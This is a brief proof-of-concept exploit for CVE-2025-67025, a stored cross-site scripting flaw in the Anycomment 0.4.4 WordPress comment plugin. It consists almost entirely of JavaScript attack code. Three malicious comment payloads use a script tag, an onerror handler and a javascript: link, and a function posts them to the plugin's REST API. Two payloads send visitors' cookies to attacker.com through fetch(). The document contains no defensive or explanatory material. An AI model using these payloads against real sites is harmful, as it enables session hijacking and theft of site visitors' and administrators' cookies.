CVE-2025-67025 Anycomment 0.4.4 存储型XSS漏洞

// CVE-2025-67025 PoC - Stored XSS in Anycomment // Attack vector: Inject malicious script in comment field // Method 1: Basic script injection const maliciousComment = { content: '<script>alert(document.cookie)</script>', author: 'Attacker', post_id: 123 }; // Method 2: Event handler injection (bypasses some filters) const maliciousComment2 = { content: '<img src=x onerror="fetch(\"https://attacker.com/steal?c=\"+document.cookie)">', author: 'Attacker', post_id: 123 }; // Method 3: DOM-based XSS using data URI const maliciousComment3 = { content: '<a href="javascript:alert(document.domain)">Click me</a>', author: 'Attacker', post_id: 123 }; // Send malicious comment via Anycomment API async function exploitXSS(targetUrl) { const response = await fetch(`${targetUrl}/wp-json/anycomment/v1/comment`, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(maliciousComment) }); return response.json(); } // Cookie stealing payload const stealPayload = '<script>fetch("https://attacker.com/log?cookie="+btoa(document.cookie))</script>';